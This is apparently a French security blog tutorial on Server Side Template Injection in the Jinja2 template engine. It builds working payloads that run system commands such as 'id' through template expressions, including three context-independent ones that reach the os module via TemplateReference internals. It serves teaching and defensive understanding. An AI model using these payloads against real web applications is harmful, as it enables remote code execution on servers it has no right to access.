Vulnérabilités Python : Exécution de code dans les templates jinja
Introduction
Il y a quelques temps je présentais un article sur les vulnérabilités de format string en Python dans lequel j’expliquais les dangers des format string, si elles sont mal utilisées. Aujourd’hui, je vais présenter une vulnérabilité assez similaire, permettant l’exécution de code dans les templates du moteur jinja. Ce type de comportements est très utile pour réaliser des attaques de Server Side Template Injection (SSTI).
Le moteur de templates jinja2
Le moteur de templates jinja2 permet de générer des documents (strings, pages web …) a partir de templates. Cela permet de grandement simplifier le code et de gagner du temps. Par exemple pour un site web, au lieu d’écrire le bloc d’entêtes <head>
dans toutes les pages, nous pouvons créer une seule template head.jinja2
qui sera incluse dans toutes les pages. Ainsi quand il faudra modifier le contenu de l’entête, il n’y aura qu’un fichier à modifier.
Voici un exemple de template jinja2 :
<!DOCTYPE html>
<html lang="en">
<head>
<title>My Webpage</title>
<link rel="stylesheet" href="/css/main.css">
</head>
<body>
<ul id="navigation">
{% for item in navigation %}
<li><a href="{{ item.href }}">{{ item.caption }}</a></li>
{% endfor %}
</ul>
<h1>My Webpage</h1>
{{ a_variable }}
{# a comment #}
</body>
</html>
Objet Template de jinja2
Dans le moteur jinja2, les templates sont créées à partir de l’objet Template du module. Grâce à ce type d’objets, nous pouvons créer des templates très facilement, de la même manière que les format string :
>>> from jinja2 import Template
>>> msg = Template("My name is {{ name }}").render(name="John Doe")
>>> print(msg)
'My name is John Doe'
Lorsque nous générons le string avec .render(...)
le moteur jinja2 utilise l’objet name=
passé en paramètre et le remplace dans l’emplacement {{ name }}
de la template ce qui nous donne bien 'My name is John Doe'
.
Execution de commandes
En Python, les format string nous permettent d’accéder aux propriétés des objets, mais pas d’appeler les méthodes de ceux-cis. Dans le moteur jinja2
, nous pouvons exécuter des fonctions spécifiques aux objets passés en paramètres. Prennons un exemple :
>>> import os
>>> from jinja2 import Template
>>> msg = Template("My name is {{ s.upper() }}").render(s="thisisastring")
>>> print(msg)
'My name is THISISASTRING'
De la même manière, nous pouvons exécuter des commandes si nous avons accès au module os
depuis la Template jinja2
:
>>> import os
>>> from jinja2 import Template
>>> msg = Template("My name is {{ module.system('id') }}").render(module=os)
uid=1000(user) gid=1000(user) groups=1000(user)
>>> print(msg)
'My name is 0'
Dans l’exemple ci-dessus, nous importons les modules os
et jinja2
puis nous créons une template. La template contient {{ module.system('id') }}
permettant d’appeller une fonction du module utilisé (ici os
). Lors du rendu de la template, os.system('id')
est exécuté.
L’objet TemplateReference
Dans les templates jinja2, nous pouvons utiliser l’objet TemplateReference
pour réutiliser des blocks de code de la template. Par exemple, pour éviter de réécrire le titre partout dans la template, nous pouvons définir le titre dans un block {% block title %}
et le récupérer avec {{ self.title() }}
plus tard :
>>> msg = jinja2.Template("""
... <title>{% block title %}This is a title{% endblock %}</title>
... <h1>{{ self.title() }}</h1>
... """).render()
>>> print(msg)
<title>This is a title</title>
<h1>This is a title</h1>
>>>
Nous pouvons accéder à l’objet TemplateReference
sans conditions, même sans aucune variable fournie dans le render()
:
>>> jinja2.Template("My name is {{ self }}").render()
'My name is <TemplateReference None>'
>>>
Nous allons donc partir de l’objet TemplateReference
pour construire une payload permettant d’importer le module os
.
Construction d’une payload classique
Une première idée très classique est d’utiliser l’objet TemplateReference
pour remonter aux __builtins__
et utiliser la fonction __import__
pour importer le module que nous voulons directement. Pour ce faire, il faut d’abord remonter aux __globals__
en utilisant le chemin classique self.__init__.__globals__
:
>>> jinja2.Template("My name is {{ self.__init__.__globals__ }}").render()
En faisant cela, nous obtenons un dict
contenant toutes les variables globales :
Dans les __globals__
, nous pouvons accéder aux fonctions __builtins__
de Python. Cet ensemble de fonctions est inclus nativement dans Python sans besoin de librairies externes, et contient notament la fonction __import__
. Nous pouvons donc l’utiliser directement pour importer le module os
comme ceci :
>>> jinja2.Template("My name is {{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}").render()
uid=1000(user) gid=1000(user) groups=1000(user)
'My name is 0\n'
Ici la fonction system
du module os
nous permet de vérifier que nous pouvons exécuter des commandes, mais le résultat de la commande n’est pas reflétée dans la template générée. Pour retourner le résultat de la commande, nous pouvons utiliser os.popen(commande).read()
comme ceci :
>>> jinja2.Template("My name is {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}").render()
uid=1000(user) gid=1000(user) groups=1000(user)
'My name is uid=1000(user) gid=1000(user) groups=1000(user)\n'
Et nous pouvons maintenant exécuter des commandes système depuis une template jinja !
Une payload indépendante du contexte
Le problème avec la méthode précédente est que les __builtins__
sont souvent restreints ou filtrés. Nous devons donc essayer de trouver un module ou os
est déjà importé, et tenter d’y accéder. Dans les sources du module jinja2
, nous voyons que le module os
est importé dans le fichier utils.py
, (Donc le module est accessible à jinja2.utils.os
). Nous pouvons le confirmer très simplement :
>>> import jinja2
>>> jinja2.utils.os
<module 'os' from '/usr/lib/python3.8/os.py'>
>>>
Si nous reprenons notre objet TemplateReference
présenté plus haut, nous pouvons trouver un attribut interne très intéressant, _TemplateReference__context
. Cet attribut est très intéressant car il permet d’accéder à trois variables cycler
, joiner
et namespace
toutes présentes dans le fichier utils.py
ou le module os
est lui aussi importé.
>>> jinja2.Template("My name is {{ e(self._TemplateReference__context) }}").render(e=lambda x:vars(x))
"My name is {'parent': {'range': <class 'range'>, 'dict': <class 'dict'>, 'lipsum': <function generate_lorem_ipsum at 0x7f62df526940>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'namespace': <class 'jinja2.utils.Namespace'>, 'e': <function <lambda> at 0x7f62de305790>}, 'vars': {}, 'environment': <jinja2.environment.Environment object at 0x7f62dfded040>, 'eval_ctx': <jinja2.nodes.EvalContext object at 0x7f62de22b760>, 'exported_vars': set(), 'name': None, 'blocks': {}}"
Une fois que nous arrivons dans le bon submodule, il ne nous reste plus qu’a remonter aux __globals__
pour accéder directement au module os
:
>>> jinja2.Template("My name is {{ self._TemplateReference__context.cycler.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"
>>> jinja2.Template("My name is {{ self._TemplateReference__context.joiner.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"
>>> jinja2.Template("My name is {{ self._TemplateReference__context.namespace.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"
>>>
Voici donc 3 payloads indépendantes du contexte, permettant toujours d’accéder au module os
dans une template rendue par le moteur jinja2 :
{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}
Références
- https://github.com/pallets/jinja
- https://zetcode.com/python/jinja/
- https://jinja.palletsprojects.com/en/3.0.x/
- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
- https://0day.work/jinja2-template-injection-filter-bypasses/
- https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f